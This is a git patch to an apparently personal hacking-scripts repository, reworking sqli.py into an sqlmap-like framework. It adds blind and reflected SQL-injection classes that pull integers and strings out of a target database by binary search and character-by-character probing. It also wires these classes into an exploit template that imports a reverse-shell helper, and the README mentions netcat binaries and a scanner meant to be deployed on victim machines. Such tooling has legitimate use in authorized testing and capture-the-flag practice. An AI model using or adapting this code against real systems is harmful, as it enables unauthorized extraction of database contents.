From 546d6c844784120135f6d360508bb337fb232ad2 Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Sun, 25 Feb 2024 09:44:52 +0100 Subject: [PATCH] Added reflected SQLi --- README.md | 2 +- sqli.py | 174 +++++++++++++++++++++++++++++++++------------------- template.py | 8 ++- 3 files changed, 116 insertions(+), 68 deletions(-) diff --git a/README.md b/README.md index 67ed827..982d239 100644 --- a/README.md +++ b/README.md @@ -61,7 +61,7 @@ Can be deployed on victim machines to scan the intranet. - pcap_file_extract.py: Lists and extracts files from http connections found in pcap files - find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions - TODO: smb -- sqli.py: An abstract class for automizing SQL-Injections (WIP) +- sqli.py: An sqlmap-like abstract class for automizing SQL-Injections (WIP) ### [Windows](win/) - nc.exe/nc64.exe: netcat standalone binary diff --git a/sqli.py b/sqli.py index 81b7946..d86aaf5 100644 --- a/sqli.py +++ b/sqli.py @@ -2,8 +2,6 @@ from abc import ABC, abstractmethod import sys import string -# TODO: add blind/reflected option -# TODO: binary search instead of bruteforce class SQLi(ABC): @staticmethod @@ -13,36 +11,6 @@ class SQLi(ABC): table = "" if not table else f" FROM {table}" return f"SELECT {column}{table}{condition} LIMIT 1{offset}" - def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False, binary_search=True): - - query = self.build_query(column, table, condition, offset) - - if self.blind_sqli(f"({query})=0"): - return 0 - - if not binary_search: - cur_int = 1 - while self.blind_sqli(f"({query})>{cur_int}", verbose): - cur_int += 1 - - return cur_int - else: - min_value = 1 - max_value = 1 - - while self.blind_sqli(f"({query})>{max_value}", verbose): - min_value = max_value + 1 - max_value = max_value * 2 - - while True: - cur_int = (min_value + max_value) // 2 - if self.blind_sqli(f"({query})>{cur_int}", verbose): - min_value = cur_int + 1 - elif self.blind_sqli(f"({query})<{cur_int}", verbose): - max_value = cur_int - 1 - else: - return cur_int - def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False): row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) if verbose: @@ -54,50 +22,26 @@ class SQLi(ABC): return rows - def extract_string(self, column: str, table=None, condition=None, offset=None, max_length=None, verbose=False, charset=string.printable): - - if max_length is None: - max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose) - if verbose: - print("Fetched length:", max_length) - - cur_str = "" - while True: - found = False - query = self.build_query(f"ascii(substr({column},{len(cur_str) + 1},1))", table, condition, offset) - for c in charset: - if self.blind_sqli(f"({query})={ord(c)}", verbose): - found = True - cur_str += c - if verbose: - sys.stdout.write(c) - sys.stdout.flush() - break - if not found or (max_length is not None and len(cur_str) >= max_length): - break - - if verbose: - print() - - return cur_str - - def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False, charset=string.printable): + def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False): row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) if verbose: print(f"Fetching {row_count} rows") rows = [] for i in range(0, row_count): - rows.append(self.extract_string(column, table, condition, i, verbose=verbose, charset=charset)) + rows.append(self.extract_string(column, table, condition, i, verbose=verbose)) return rows - # Following methods need to be implemented in the exploit @abstractmethod - def blind_sqli(self, condition: str, verbose=False) -> bool: + def extract_int(self, column: str, table=None, condition=None, + offset=None, verbose=False): + pass + + @abstractmethod + def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False): pass - # Following methods will be implemented by MySQLi, PostgreSQLi, ... @abstractmethod def get_database_version(self, verbose=False): pass @@ -118,6 +62,108 @@ class SQLi(ABC): def get_column_names(self, table: str, schema: str, verbose=False): pass +class ReflectedSQLi(SQLi, ABC): + + def __init__(self, column_types: list): + self.column_types = column_types + + @abstractmethod + def reflected_sqli(columns: list, table=None, condition=None, offset=None): + pass + + def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False): + query_columns = [column] + list(map(lambda c: f"'{c}'", range(2, len(self.column_types)))) + return int(self.reflected_sqli(query_columns, table, condition, offset)[0]) + + def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False): + if str not in self.column_types: + print("[!] Reflectd SQL does not reflect string types, only:", self.column_types) + return None + + str_column = self.column_types.index(str) + query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types)))) + query_columns[str_column] = column + return self.reflected_sqli(query_columns, table, condition, offset)[str_column] + +class BlindSQLi(SQLi, ABC): + + @abstractmethod + def blind_sqli(self, condition: str, verbose=False) -> bool: + pass + + def extract_int(self, column: str, table=None, condition=None, + offset=None, verbose=False, binary_search=True, + min_value=None, max_value=None): + + query = self.build_query(column, table, condition, offset) + + if self.blind_sqli(f"({query})=0"): + return 0 + + if not binary_search: + cur_int = 1 if min_value is None else min_value + while self.blind_sqli(f"({query})>{cur_int}", verbose): + cur_int += 1 + if max_value is not None and cur_int >= max_value: + return None + + return cur_int + else: + if min_value is None or max_value is None: + min_value = 1 if min_value is None else min_value + max_value = 1 if max_value is None else max_value + + while self.blind_sqli(f"({query})>{max_value}", verbose): + min_value = max_value + 1 + max_value = max_value * 2 + + while True: + cur_int = (min_value + max_value) // 2 + if self.blind_sqli(f"({query})>{cur_int}", verbose): + min_value = cur_int + 1 + elif self.blind_sqli(f"({query})<{cur_int}", verbose): + max_value = cur_int - 1 + else: + return cur_int + + def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable): + + if max_length is None: + max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose) + if verbose: + print("Fetched length:", max_length) + + cur_str = "" + while True: + found = False + cur_column = f"ascii(substr({column},{len(cur_str) + 1},1))" + if charset: + query = self.build_query(cur_column, table, condition, offset) + for c in charset: + if self.blind_sqli(f"({query})={ord(c)}"): + found = True + cur_str += c + if verbose: + sys.stdout.write(c) + sys.stdout.flush() + break + else: + c = self.extract_int(cur_column, table, condition, min_value=0, max_value=127) + if c is not None: + found = True + cur_str += chr(c) + if verbose: + sys.stdout.write(chr(c)) + sys.stdout.flush() + + if not found or (max_length is not None and len(cur_str) >= max_length): + break + + if verbose: + print() + + return cur_str + class PostgreSQLi(SQLi, ABC): def get_database_version(self, verbose=False): diff --git a/template.py b/template.py index 7d651ff..67ef5e6 100755 --- a/template.py +++ b/template.py @@ -86,8 +86,10 @@ if __name__ == "__main__": variables = "\n".join(f"{k} = {v}" for k, v in variables.items()) header = f"""#!/usr/bin/env python -# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit -# https://git.romanh.de/Roman/HackingScripts +# +# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY {' '.join(sys.argv)} +# For more information, visit: https://git.romanh.de/Roman/HackingScripts +# import os import io @@ -102,7 +104,7 @@ import urllib.parse from bs4 import BeautifulSoup from hackingscripts import util, rev_shell from hackingscripts.fileserver import HttpFileServer -from hackingscripts.sqli import MySQLi, PostgreSQLi +from hackingscripts.sqli import MySQLi, PostgreSQLi, BlindSQLi, ReflectedSQLi from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)